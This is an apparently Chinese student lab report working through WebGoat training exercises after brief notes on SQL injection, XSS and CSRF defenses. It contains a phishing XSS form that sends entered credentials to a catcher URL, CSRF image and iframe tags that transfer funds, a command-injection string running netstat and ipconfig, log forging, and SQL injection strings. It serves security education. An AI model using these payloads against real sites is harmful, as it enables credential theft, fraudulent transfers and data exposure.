1.SQL注入攻擊原理,如何防護?html
防護:java
2.XSS攻擊的原理,如何防護?git
原理:
攻擊者利用網站漏洞(一般這些漏洞是指網站後臺處理程序沒有很好的對用戶輸入進行過濾),輸入能夠顯示在頁面上的、對其餘用戶形成影響的HTML代碼;因爲受害者瀏覽器對目標服務器的信任,當其訪問目標服務器上被注入惡意腳本的頁面後,這段惡意腳本能夠順利執行,實現獲取用戶cookie並能夠利用用戶身份進行非法操做的目的。web
防護:
瀏覽器自身能夠識別簡單的XSS攻擊字符串,從而阻止簡單的XSS攻擊;從根本上說,解決辦法是消除網站的XSS漏洞,這就須要網站開發者運用轉義安全字符等手段。sql
一個原則:不相信用戶輸入的任何數據!數據庫
3.CSRF攻擊原理,如何防護?瀏覽器
原理:
CSRF就是冒名登陸。跨站請求僞造的核心本質是竊取用戶的Session,或者說Cookie,由於目前主流狀況Session都是存在Cookie中.攻擊者並不關心被害者具體賬號和密碼,由於一旦用戶進行了登陸,Session就是用戶的惟一憑證,只要攻擊者可以獲得Session,就能夠假裝成被害者進入服務器.
主要是當訪問網站A時輸入用戶名和密碼,在經過驗證後,網站A產生Cookie信息並返回,此時登陸網站A成功,可正常發送請求到網站A。在未退出網站A前,若訪問另外一個網站B,網站B可返回一些攻擊性代碼並請求訪問網站A;所以在網站B的請求下,向網站A發出請求。但網站A不知道該請求惡意的,所以仍是會執行該惡意代碼安全
使用「請求令牌」。首先服務器端要以某種策略生成隨機字符串,做爲令牌(token),保存在Session裏。而後在發出請求的頁面,把該令牌以隱藏域一類的形式,與其餘信息一併發出。在接收請求的頁面,把接收到的信息中的令牌與Session中的令牌比較,只有一致的時候才處理請求,不然返回 HTTP 403 拒絕請求或者要求用戶從新登錄驗證身份。服務器
java -jar webgoat-container-7.1-war-exec.jar
開啓WebGoat使用用默認用戶名密碼登陸cookie
在webgoat找到Cross-Site Scripting (xss)攻擊打開第一個——Phishing with XSS
將下面這段代碼輸入到"Search:"輸入框中,點擊search;
<head> <body> <div> <div style="float:left;height:100px;width:50%;background-color:green;"></div> <div style="float:left;height:100px;width:50%;background-color:red;"></div> </div> <div style="background-color:blue;height:200px;clear:both;"></div> </div></div> </form> <script> function hack(){ XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("attack.!!!!!! Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value); } </script> <form name="phish"> <br> <br> <HR> <H2>This feature requires account login:</H2> <br> <br>Enter Username:<br> <input type="text" name="user"> <br>Enter Password:<br> <input type="password" name = "pass"> <br> <input type="submit" name="login" value="login" onclick="hack()"> </form> <br> <br> <HR> </body> </head>
會出現代碼中所指定的綠、紅、藍三塊div
下方出現用於欺騙用戶的提示語「This feature requires account login:」和用戶名、密碼輸入框
在登陸框中輸入用戶名、密碼,eg:20155333 123456,點擊登陸後,會像代碼中alert提示的,顯示被竊取的用戶名和密碼
<head> <body> <div> <div style="float:left;height:100px;width:50%;background-color:green;"></div> <div style="float:left;height:100px;width:50%;background-color:red;"></div> </div> <div style="background-color:blue;height:200px;clear:both;"></div> </div></div> </form> <script> function hack(){ XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("attack.!!!!!! Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value); } </script> <form name="phish"> <br> <br> <HR> <H2>This feature requires account login:</H2> <br> <br>Enter Username:<br> <input type="text" name="user"> <br>Enter Password:<br> <input type="password" name = "pass"> <br> <input type="submit" name="login" value="login" onclick="hack()"> </form> <br> <br> <HR> </body> </head>
提交後,下方「Message List」中會新增剛輸入的Tile名字的連接
點擊連接能夠看到html已經注入成功,messege部分顯示的是綠、紅、藍三色框
在下方用戶名密碼處輸入,eg:20155333 123456
點擊提交後,成功獲取用戶名和密碼
打開xss的第三個攻擊Reflected XSS Attacks
在「Enter your three digit access code:」中輸入<script>alert("5333");</script>
點擊Purchase,成功顯示警告框,內容爲咱們script腳本指定的內容
輸入前面編寫的腳本,一樣會成功
打開Cross-Site Scripting (xss)攻擊中的第四個:Cross Site Request Forgery(CSRF)
查看頁面下方Parameters中的src和menu值,分別爲2078372和900
<img src="http://localhost:8080/WebGoat/attack?Screen=803158781&menu=900&transferFunds=10000" width="1" height="1" />
,以圖片的的形式將URL放進Message框,這時的URL對其餘用戶是不可見的,用戶一旦點擊圖片,就會觸發一個CSRF事件,點擊Submit提交提交後,在Message List中生成以Title命名的連接(消息)。點擊該消息,當前頁面就會下載這個消息並顯示出來,轉走用戶的10000元,從而達到CSRF攻擊的目的
打開Cross-Site Scripting (xss)攻擊中的第五個:CSRF Prompt By-Pass
同攻擊4,查看頁面下側Parameters中的src和menu值(1471017872和900),並在message框中輸入代碼:
<iframe src="attack?Screen= 1471017872&menu=900&transferFunds=5000"> </iframe> <iframe src="attack?Screen= 1471017872&menu=900&transferFunds=CONFIRM"> </iframe>
在Message List中生成以Title命名的連接,點擊進入後,攻擊成功
按F12進入調試界面,選擇Inspect...
對源代碼進行修改。
在AccessControlMatrix.help
後面加上"& netstat -an & ipconfig"
點擊view,便可查看命令執行結果
按F12進入調試界面,選擇Inspect...
對源代碼進行修改。
在選項列表中,任意選擇一個值,好比「101」,後面加上or 1=1
輸出以下
在username中填入5333%0d%0aLogin Succeeded for username: admin
,利用回車(0D%)和換行符(%0A)讓其在日誌中兩行顯示
點擊Login,可見5333在Login Fail那行顯示,添加的語句在下一行顯示
攻擊者能夠利用這種方式向日志文件中添加惡意腳本,腳本的返回信息管理員可以經過瀏覽器看到。好比,將admin <script>alert(document.cookie)</script>
做爲用戶名輸入
在用戶名處注入Smith' or 1=1 or 'a'='a
,這將會顯示登陸系統的第一個用戶。密碼是必須的字段,能夠任意輸入,「登陸」可看到其餘人的信息
在密碼框輸入' or 1=1 --
,登陸失敗用Firebug查看網頁源碼,發現密碼長度有限制
將密碼長度maxlength改成100,再次嘗試
登陸成功
擇Injection Flaws中的String SQL Injection
輸入查詢的用戶名Smith' or 1=1--
這樣Smith 和1=1都成了查詢的條件,而1=1是恆等式,這樣就能select表裏面的全部數據。
本課程最後一次實驗,圓滿結束!